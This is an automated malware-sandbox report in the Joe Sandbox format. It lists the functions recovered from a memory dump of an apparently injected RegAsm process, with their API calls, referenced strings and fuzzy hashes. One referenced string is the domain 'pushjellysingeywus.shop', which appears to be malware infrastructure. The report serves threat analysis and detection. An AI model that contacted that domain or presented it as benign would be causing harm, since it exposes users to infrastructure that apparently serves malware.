tQpS, xrefs: 0040A20C
j, xrefs: 0040A02C
Y!N#, xrefs: 0040A1EC
0, xrefs: 00409D96
b, xrefs: 0040A166

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 0$Y!N#$b$j$tQpS
API String ID: 0-1561506603
Opcode ID: fbdca97d7b5b8bd9867f2ab60e92d600497daf09618555274c6545db3ae8f586
Instruction ID: 77bbfa77775ed737320afc19213c5ed02593b238c67c5d09a0c0deb4d33d9e09
Opcode Fuzzy Hash: fbdca97d7b5b8bd9867f2ab60e92d600497daf09618555274c6545db3ae8f586
Instruction Fuzzy Hash: 221212B02083819BE324CF15C4A4B5BBBE2BBC6308F545D2DE4D59B392D779D8098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004384D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D1B7, xrefs: 00438412
D1B7, xrefs: 0043853B

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: D1B7$D1B7
API String ID: 0-2576811906
Opcode ID: 60bdf6df0d9da367abe9cafd864840737e1feb61e3c6acb89e3bd56984f3b0f9
Instruction ID: 227d40b3051d5b9f1c8533b328a387a81ecb6462684d2791c386ca89a2a782a0
Opcode Fuzzy Hash: 60bdf6df0d9da367abe9cafd864840737e1feb61e3c6acb89e3bd56984f3b0f9
Instruction Fuzzy Hash: BE516CB4518301ABD708DF10D9A172FBBE2BBCA708F04992CE48547351E7B88D05EB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00415B57 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 431COMMON

Download Yara Rule

Strings

v, xrefs: 004160D9

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: v
API String ID: 0-1801730948
Opcode ID: 233739d0e7ffd3f581b2dd250cda54125e3c87964c33640d052a77960d3d9fd8
Instruction ID: c80b823732e71f4cdd7a44ad5e5a1a1d83ce3d0079143c9f8b25ab05eee7cb54
Opcode Fuzzy Hash: 233739d0e7ffd3f581b2dd250cda54125e3c87964c33640d052a77960d3d9fd8
Instruction Fuzzy Hash: 69E1DFB15083419FD324CF14C48179FBBE2AFD5308F588A6EE4998B392E739D845CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00421F80 Relevance: 2.9, Strings: 2, Instructions: 369COMMON

Download Yara Rule

Strings

A\]D, xrefs: 00422356
vSUN, xrefs: 004223BA

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: A\]D$vSUN
API String ID: 2994545307-3118794373
Opcode ID: ec616842d889afad07b2ab96f2a3b507bd2965400d8841d8a2506f832f9cda12
Instruction ID: 035f47e295922484c15501f127bff06197c6eb06fd4f10a441f5a1a71ebf76b5
Opcode Fuzzy Hash: ec616842d889afad07b2ab96f2a3b507bd2965400d8841d8a2506f832f9cda12
Instruction Fuzzy Hash: 58C1EEB1608361AFD710CF18D580B2BB7E1FB99318F54892EE5C497342D3B9D905CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004212B0 Relevance: 2.8, Strings: 2, Instructions: 263COMMON

Download Yara Rule

Strings

EBC, xrefs: 00421339
s}, xrefs: 00421580

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: s}$EBC
API String ID: 0-541026534
Opcode ID: fb2f0fbeb1042633251d49655d5c2928f3e20c5a302b4eecd125761bc4d1844e
Instruction ID: d7b96847a59d0831858f5b8d16e64329f0c99a4ad7ef32cd16afe207355252a1
Opcode Fuzzy Hash: fb2f0fbeb1042633251d49655d5c2928f3e20c5a302b4eecd125761bc4d1844e
Instruction Fuzzy Hash: AB91A5B06083518BD724CF14D89076BBBF1FF92358F548A1DE4A68B391E378D909CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00435ACB Relevance: 1.5, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00435B5D

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f21a35c5c3999f510f2e72610054c5e10ecc36b1628d5fe1b25180f555448144
Instruction ID: ed305ee78db003560d5c2f81a7b8d567382a75ce1c99dc0f9374550bddc06ea8
Opcode Fuzzy Hash: f21a35c5c3999f510f2e72610054c5e10ecc36b1628d5fe1b25180f555448144
Instruction Fuzzy Hash: 0611E2705083419FE708CF10D46476BFBA1EBC5318F108A1DE8A92B681C379D90ACB86

Uniqueness

Uniqueness Score: -1.00%

Function 00435B70 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043A5F6,005C003F,00000006,00120089,?,00000018,gxyz,?,0041518F), ref: 00435B9D

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction ID: e4f63ef377a97c2914c676668e3278340bf37c640bd7ba7daadddd8153819c93
Opcode Fuzzy Hash: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction Fuzzy Hash: 26E0B675509606EBDA05DF45C14051FF7E2BFC4714FA5C88DE88463204C7B4BD45DA42

Uniqueness

Uniqueness Score: -1.00%

Function 0043AE30 Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

gxyz, xrefs: 0043AE98

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: gxyz
API String ID: 0-2474275795
Opcode ID: 7cd865df7580e3a3251fbc4e571994a29d3f672298f33b1a4ae226595439b4e2
Instruction ID: e7b234e54a7d762bb6a3bd1b4f03db8f12db98f9d7bb1013814233ca64f7ddf6
Opcode Fuzzy Hash: 7cd865df7580e3a3251fbc4e571994a29d3f672298f33b1a4ae226595439b4e2
Instruction Fuzzy Hash: F281CA72A043129BD714CF14C8A0B6BB3A1FF88364F25991EE9955B391D338EC15CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0043B800 Relevance: 1.5, Strings: 1, Instructions: 221COMMON

Download Yara Rule

Strings

gxyz, xrefs: 0043B898

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: gxyz
API String ID: 2994545307-2474275795
Opcode ID: 19e827949be7d9c90c52f93cbe7905a439d5d0436ab1b3d3fe8e59ff32325d39
Instruction ID: d5821ae3abbd5b49496d0d32a43c6cb899c31e2747818077e51798368a7f3181
Opcode Fuzzy Hash: 19e827949be7d9c90c52f93cbe7905a439d5d0436ab1b3d3fe8e59ff32325d39
Instruction Fuzzy Hash: FB81DD71608302AFD718CF14D890B2BBBA5EF89354F18991DE9958B391D338E945CBC6

Uniqueness

Uniqueness Score: -1.00%

Function 00415390 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

789:, xrefs: 004153B8

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: 10cc4ab24c7f48d7c6fa18d5fa84f84423c8fc5c7e04cbeddc6c84a1160124f3
Instruction ID: 3d07bc301c4762b4c6ee5a7646427adc52170538d6ac221be9eba05a27c8a57f
Opcode Fuzzy Hash: 10cc4ab24c7f48d7c6fa18d5fa84f84423c8fc5c7e04cbeddc6c84a1160124f3
Instruction Fuzzy Hash: AA218E78210A40CFE728CF14D8A0B67B3A2FF8A349F64492DD5C647B91E775B841CB49

Uniqueness

Uniqueness Score: -1.00%

Function 00417239 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39a9474f83705d2a35e3a7ed89a71eb199a025ff3331637dbb258dee97e69e13
Instruction ID: 86805473c38cceb78552a0540260a6a94279074ff3da8f2079f33daa4ad5654a
Opcode Fuzzy Hash: 39a9474f83705d2a35e3a7ed89a71eb199a025ff3331637dbb258dee97e69e13
Instruction Fuzzy Hash: D1C141B0510B008BD725CF20C4A46A7BBF2FF85314F545E1DD5A74BAA1D778E54ACB88

Uniqueness

Uniqueness Score: -1.00%

Function 0042A936 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61828c0bb65060645607b7bcf0ba44af168b99c9bcfbadb5323aba25d4cd7529
Instruction ID: 235f7b0fceadf091eafc56df715b5c09dc53dff0cccafe78ca5562ce20de9adc
Opcode Fuzzy Hash: 61828c0bb65060645607b7bcf0ba44af168b99c9bcfbadb5323aba25d4cd7529
Instruction Fuzzy Hash: 38F0D4B5508381CFD320DF25C94574BBBE5BBC4304F15C92EE88587291D7B9A406CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0042A245 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0042A384

Strings

%, xrefs: 0042A2B3
3, xrefs: 0042A273
;, xrefs: 0042A2C3
:, xrefs: 0042A283
6, xrefs: 0042A2D3
D, xrefs: 0042A293
!, xrefs: 0042A2A3

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: !$%$3$6$:$;$D
API String ID: 2525500382-2591950249
Opcode ID: 511d7fbf50cccccdc7858a347d8d5263d77f1ec6d27186fb6dd458a649bd9444
Instruction ID: 963f1b3e5fd6771a7d36494be66c3600f40f07d37cb3ae169d65202430aa07ab
Opcode Fuzzy Hash: 511d7fbf50cccccdc7858a347d8d5263d77f1ec6d27186fb6dd458a649bd9444
Instruction Fuzzy Hash: 5941B07010CBC18ED331CB29C89878BBBE1ABD6315F044A5DE4E98B391C779950ACB57

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBF0 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 403
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 0040DE17
ExitProcess.KERNEL32 ref: 0040DE26
ExitProcess.KERNEL32 ref: 0040DE35
ExitProcess.KERNEL32 ref: 0040DE44

Strings

8C, xrefs: 0040DC75
pushjellysingeywus.shop, xrefs: 0040E11C

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: 8C$pushjellysingeywus.shop
API String ID: 621844428-391557495
Opcode ID: 8dad07c21383834f3d784b1eea64f292f0b2ee3006e30451b3dd8b1a3a3652c0
Instruction ID: c3754cf6d4af3efd44086515a8e4feea577dce0be4ef3330c692d516742b2779
Opcode Fuzzy Hash: 8dad07c21383834f3d784b1eea64f292f0b2ee3006e30451b3dd8b1a3a3652c0
Instruction Fuzzy Hash: A8222860008BC1CED726CF388498716BFA16B26224F1987DDD8E64F7E7C3759509CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040D5D0 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 399
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 0040D824
ExitProcess.KERNEL32 ref: 0040D830
ExitProcess.KERNEL32 ref: 0040D83F
ExitProcess.KERNEL32 ref: 0040D851

Strings

8C, xrefs: 0040D67B
pushjellysingeywus.shop, xrefs: 0040DB3D

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: 8C$pushjellysingeywus.shop
API String ID: 621844428-391557495
Opcode ID: 4e885f4b103528a34ba8b05d68ad07885692d717e93b6dc83f6bf867971cc171
Instruction ID: e062613535a096f7c986de94b394a9a3299ac3684046ad9440d4ee051fa42249
Opcode Fuzzy Hash: 4e885f4b103528a34ba8b05d68ad07885692d717e93b6dc83f6bf867971cc171
Instruction Fuzzy Hash: F1220760508BC1CED726CF388498702BFA16B56224F1887DDD8E94F7E7C3799406CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041E695 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 0041E7D0
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 0041E7FE

Strings

FC, xrefs: 0041E6F1
^t, xrefs: 0041E6E3
y~, xrefs: 0041E6EA

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: FC$^t$y~
API String ID: 237503144-1521909807
Opcode ID: 1419d8f477ded67a78741ca854099c5559bba33fb3c5bd11a482c035a1b60d41
Instruction ID: dc40ee493d17d98de78ad753fbd4e82c648e1b0ce4107d9b48fe1586e3a3aa43
Opcode Fuzzy Hash: 1419d8f477ded67a78741ca854099c5559bba33fb3c5bd11a482c035a1b60d41
Instruction Fuzzy Hash: D65159B41007019FD724CF16C894B52BBB1FF85710F158A9CE8AA4FBA6D774E846CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00409240 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 004092BA

Strings

often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs, xrefs: 0040927D

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs
API String ID: 621844428-3137510881
Opcode ID: 59d31c83763740c401a164c8abda1a317b471818f0df02a94b0c3ec7177b1887
Instruction ID: d46854307137c8737da70bb0dadd48020878a784c1cb78799af495398ee7fa65
Opcode Fuzzy Hash: 59d31c83763740c401a164c8abda1a317b471818f0df02a94b0c3ec7177b1887
Instruction Fuzzy Hash: 64F06871418200B7DA003B765A0765A7AA85F51314F11497FEDC1621C3EA7D4C46C66F

Uniqueness

Uniqueness Score: -1.00%

Function 00418640 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 0041867A
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 004186A8

Strings

YA, xrefs: 004186C8

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: YA
API String ID: 237503144-686710269
Opcode ID: 29a85f93c1bb2af8cb4c9891d37eac8bbd2469af26d66b4b8cc932ea4869989f
Instruction ID: a0e77e6b5364afb90d31a3fa764f9ee87f1d7ec252d7ac19c8f4855db4dbfd3f
Opcode Fuzzy Hash: 29a85f93c1bb2af8cb4c9891d37eac8bbd2469af26d66b4b8cc932ea4869989f
Instruction Fuzzy Hash: 2D012E35840A04BBD200AB248C86FA7336CEB86724F05421DFA65C72C1DB70B804C6FA

Uniqueness

Uniqueness Score: -1.00%

Function 004340A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004340E2

Strings

\, xrefs: 004340B0
C, xrefs: 004340A8

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InformationVolume
String ID: C$\
API String ID: 2039140958-514332402
Opcode ID: 1f089596534fe024055dce1adbee186e85238b9520941c24a8e10a22622ed5ef
Instruction ID: 0b16e51853d0470085fd2b4e6c78b332ddd4def9cb37a61542a3d6919008bdae
Opcode Fuzzy Hash: 1f089596534fe024055dce1adbee186e85238b9520941c24a8e10a22622ed5ef
Instruction Fuzzy Hash: DFE09275350741BBE728DF10EC27F1A3690D742744F10042CB242E91D0C7F57D108A5D

Uniqueness

Uniqueness Score: -1.00%

Function 004261A1 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 440COMMON

Download Yara Rule

Strings

!/$*, xrefs: 004269FC

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: !/$*
API String ID: 0-545799914
Opcode ID: ba954ffb2ea977e785fb344dc988f3a74d89b07fdf3ede9a299b4b895ee98fb9
Instruction ID: b2e27cbc9dde12e33a9927742966e6e389a792aa4b3f0ff258c4c825271f69ae
Opcode Fuzzy Hash: ba954ffb2ea977e785fb344dc988f3a74d89b07fdf3ede9a299b4b895ee98fb9
Instruction Fuzzy Hash: C4F13870205B918EE7268F35D4A47E3BBE1BF17304F84499DD4EB8B282C77AA405CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004265CC Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 373COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 004266FC

Strings

!/$*, xrefs: 004269FC

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: !/$*
API String ID: 3960555810-545799914
Opcode ID: e16e771a1d8e5cca60c9eee4cf03313e5d8a22d2944b828cb098f366c51c4bae
Instruction ID: 466006afd69678fcb0a440aae3b801bbbbe4bedcac6f7be2defe912c2a8870dc
Opcode Fuzzy Hash: e16e771a1d8e5cca60c9eee4cf03313e5d8a22d2944b828cb098f366c51c4bae
Instruction Fuzzy Hash: 1DD137B0205B918EE7258F35D4A47E3BBE1BF17304F84496DD4EB8B282C77AA405CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004383AD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 004384B5

Strings

D1B7, xrefs: 00438412

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: D1B7
API String ID: 1029625771-1785272153
Opcode ID: ba243289e261731e0f328ab571701020da0383182d802b1ebf38187e4b27abb8
Instruction ID: bda3516896a5f2ae45156be42eb04b2df876cef8185d1ab8fdc58d2902e9d8c2
Opcode Fuzzy Hash: ba243289e261731e0f328ab571701020da0383182d802b1ebf38187e4b27abb8
Instruction Fuzzy Hash: 722171B4518301ABD708DF10D9A171FBBE2FBCA708F14992CE48547351E7748D05DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 004391C0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000000), ref: 00439257

Strings

&QPS, xrefs: 00439218

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID: &QPS
API String ID: 1279760036-2176464483
Opcode ID: 3021ed5d250742d12213ae64843e51c017cf79448b4547ab576fc032e29171d0
Instruction ID: 4c527596ef4993cf958f93f33f8c539a2364bd56be8d93c3a76c3710f2140928
Opcode Fuzzy Hash: 3021ed5d250742d12213ae64843e51c017cf79448b4547ab576fc032e29171d0
Instruction Fuzzy Hash: A0011370208341AFE708CF00D4A476FBBE2FBC9318F248D5DE8A507681C7799919CB86

Uniqueness

Uniqueness Score: -1.00%

Function 004359F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,00409E11), ref: 00435A87

Strings

&QPS, xrefs: 00435A48

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID: &QPS
API String ID: 1279760036-2176464483
Opcode ID: 69127a2621d4f876e4ea6e0d4522e800ef0ce33a1218fea6c99b8e6b414e8f95
Instruction ID: 3531a23c288a52d53f944b2c3e457840114f3fd3f8c40cca6c01df16574b446f
Opcode Fuzzy Hash: 69127a2621d4f876e4ea6e0d4522e800ef0ce33a1218fea6c99b8e6b414e8f95
Instruction Fuzzy Hash: B9114570108341AFD708CF04D8A0B6FBBE2FB85328F248A1DE8A507681C739D9199BC6

Uniqueness

Uniqueness Score: -1.00%

Function 0041DE10 Relevance: 3.2, APIs: 2, Instructions: 187COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041DEFD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041DF28

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 33638cf25a273dc667fccbe5a6e0cc0d231971ebcbc9e8796853b46efe670311
Instruction ID: 62b98572a374dd0777d2ae43eceb347200aff2236fcb4eff31c058ef3ce9dbd0
Opcode Fuzzy Hash: 33638cf25a273dc667fccbe5a6e0cc0d231971ebcbc9e8796853b46efe670311
Instruction Fuzzy Hash: 29619CB46083518BE324CF15C891BABB7E1FFCA318F014A1DE8D65B281D3B89945CB97

Uniqueness

Uniqueness Score: -1.00%

Function 004154A0 Relevance: 3.2, APIs: 2, Instructions: 162COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 004154DD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 0041550E

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 2dfaba1e5cb7063db9398346f45361f22b7b3198387c75ba2a7da4b51b980434
Instruction ID: fc12c6e93429097c05e90d0d9db2d7eb9be4e75d929ef6e862d3717b1209126b
Opcode Fuzzy Hash: 2dfaba1e5cb7063db9398346f45361f22b7b3198387c75ba2a7da4b51b980434
Instruction Fuzzy Hash: 94519F74204750EFD3208F18C891BABB7E5EFC6724F404A1DF9998B391DB749845CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0042E6AB Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042E6C5
GetSystemMetrics.USER32 ref: 0042E6D5

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: c25e3d91eaef95e72eee0b40d5d97d098b1fba32fea2081f15efa1ce194b10f2
Instruction ID: c70253705267066fe0a390eb40da1e2c454f4fe67f9f49903ef1b4541bef4a9f
Opcode Fuzzy Hash: c25e3d91eaef95e72eee0b40d5d97d098b1fba32fea2081f15efa1ce194b10f2
Instruction Fuzzy Hash: 5F319BB46197408FD750EF39D985A1ABBF0BB89304F40892EE998C73A0E731A945CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00438312 Relevance: 1.5, APIs: 1, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00438356

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2ec94da7954408cfae29368b1fe2093eb4b36237cb70dc7a0dbd9c2afcbb8aec
Instruction ID: 1610e8cb5096fc1eed96c977c505dcc91df5b75474227e367c2d36b4526b057e
Opcode Fuzzy Hash: 2ec94da7954408cfae29368b1fe2093eb4b36237cb70dc7a0dbd9c2afcbb8aec
Instruction Fuzzy Hash: 00F0A574209340ABD708DB14D69099FFBE2AFCAA49F24881DE48583306C734EC43AE4A

Uniqueness

Uniqueness Score: -1.00%

Function 0043914C Relevance: 1.5, APIs: 1, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 004391B5

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 59dc1c7f1cc53553e71521ab8106514bee450ab26b812539456e6df4fe94b9da
Instruction ID: da42185ebec8373d7b22ee920953178115992f0127cd58568fcf92c2ed0c5c99
Opcode Fuzzy Hash: 59dc1c7f1cc53553e71521ab8106514bee450ab26b812539456e6df4fe94b9da
Instruction Fuzzy Hash: 7B01D274508341AFE710CF14D88475BFBB2EBC6324F209E49E8A417695C3B5ED4A9B8A

Uniqueness

